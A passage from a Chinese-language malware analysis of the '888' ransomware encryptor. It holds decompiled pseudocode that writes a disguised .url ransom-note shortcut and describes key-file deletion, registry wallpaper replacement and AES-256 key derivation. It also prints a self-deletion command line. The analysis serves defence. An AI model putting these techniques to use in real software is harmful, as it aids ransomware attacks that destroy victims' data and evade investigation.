__int64 __fastcall sub_7FF643B1A7D0(__int64 a1, __int64 a2, unsignedint n0xEB){  __int64 EnvironmentVariable_1; // rax  __int64 v7; // rbx  __int64 EnvironmentVariable; // rax  __int64 EnvironmentVariable_2; // r14  __int64 result; // rax  __int64 v11; // r15  __int64 v12; // r13  __int64 v13; // rax  __int64 v14; // rsi  __int64 v15; // rax  __int64 v16; // rax  __int64 v17; // rax  __int64 v18; // rax  __int64 v19; // rax  __int64 v20; // rax  __int64 v21; // rbx  __int64 UTF8BomThrowing; // rdi  EnvironmentVariable_1 = sub_7FF643A87F00();  v7 = sub_7FF643ACEA80(EnvironmentVariable_1, a1);  EnvironmentVariable = S_P_CoreLib_System_Environment__GetEnvironmentVariable(&off_7FF643B9C708);  EnvironmentVariable_2 = String__Concat_5(EnvironmentVariable, &off_7FF643BAC628);  result = S_P_CoreLib_System_Environment__GetEnvironmentVariable(&off_7FF643BAF580);if ( result )  {if ( *(_DWORD *)(result + 8) )    {      v11 = sub_7FF643ACEAC0(result, &off_7FF643BAA6C8, &off_7FF643BAEE08);      v12 = RhpNewFast(&unk_7FF643BC0858);      v13 = String__Concat_5(a2, &off_7FF643B94780);// !RESTORE_FILES!.url      v14 = sub_7FF643ACEA80(EnvironmentVariable_2, v13);      *(_DWORD *)(v12 + 32) = 0x7FFFFFFF;      v15 = RhpNewArray(&unk_7FF643BFE858, 16i64);      RhpAssignRefAVLocation(v12 + 8, v15);      S_P_CoreLib_System_Text_StringBuilder__AppendLine_0(v12, &off_7FF643BAC580);      v16 = String__Replace_1(v7, 92i64, 47i64);// C:/Windows/System32/!RESTORE_FILES!.txt      v17 = String__Concat_5(&off_7FF643BAB7A8, v16);// URL=file:///C:/Windows/System32/!RESTORE_FILES!.txt      S_P_CoreLib_System_Text_StringBuilder__AppendLine_0(v12, v17);      v18 = String__Concat_5(&off_7FF643BA4450, v11);      S_P_CoreLib_System_Text_StringBuilder__AppendLine_0(v12, v18);// IconFile=C:WindowsSystem32shell32.dll      v19 = S_P_CoreLib_System_Number__Int32ToDecStr(n0xEB);// 235      v20 = String__Concat_5(&off_7FF643BA4478, v19);      S_P_CoreLib_System_Text_StringBuilder__AppendLine_0(v12, v20);// IconIndex=235      v21 = S_P_CoreLib_System_Text_StringBuilder__ToString(v12);      UTF8BomThrowing = S_P_Xml_System_Xml_XmlTextReaderImpl__get_UTF8BomThrowing();      sub_7FF643ACBE50(v14, UTF8BomThrowing);return sub_7FF643ACBEA0(v14, 2i64, v21, UTF8BomThrowing);    }  }return result;}

如下

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

删除密钥文件

删除如下文件

C:WindowsTemp!wwwGdddf#.txt   //密钥文件C:windowstemp!wwkdsfdsfewt.txt //通过计算机信息计算出来的hash
【病毒分析】888勒索家族再出手!幕后加密器深度剖析

替换壁纸

通过修改注册表键值来替换壁纸

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

解析base64编码的图片

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

将其写入C:UsersPublicimg___XXX.jpg,图片如下

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

修改后的注册表如下

【病毒分析】888勒索家族再出手!幕后加密器深度剖析

自删除

执行如下指令进行自删除

/C @echo off && ping -n 1127.0.0.1 > nul && del /q /f "加密器路径"

5.病毒分析概览/总结

根据对样本的深入逆向工程分析,得出该勒索病毒分析结果概览:

该恶意软件是一个勒索软件,主要行为总结如下:

  • 加密方式:
    • 使用AES-256算法,密钥基于随机GUID、MAC地址和计算机名动态生成。
    • 排除系统目录(如System32),跳过白名单文件(如勒索信!RESTORE_FILES!.txt)。
  • 生成勒索信:
    • 桌面生成勒索信快捷方式(.url),图标伪装为系统文件。
    • 修改注册表键值(HKCUControl PanelDesktopWallpaper)替换壁纸。
  • 反分析策略:
    • 动态拼接关键字符串,规避静态检测。
    • 删除临时密钥文件(如C:WindowsTemp!wwkdsfdsfewt.txt)。

总结:

高度组织化的勒索攻击,技术复杂且对抗性强,需结合动态行为监控与纵深防御体系阻断传播链。

6.安全建议

针对888家族的攻击行为,Solar团队已发布专项防护与加固建议,包括数据库弱口令治理、MSSQL安全基线检查、服务器目录权限收紧、异常文件投放监测等措施,详情可参考【漏洞与预防】MSSQL数据库弱口令漏洞预防

原文始发于微信公众号(solar应急响应团队):【病毒分析】888勒索家族再出手!幕后加密器深度剖析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月15日10:34:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【病毒分析】888勒索家族再出手!幕后加密器深度剖析https://cn-sec.com/archives/4059451.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息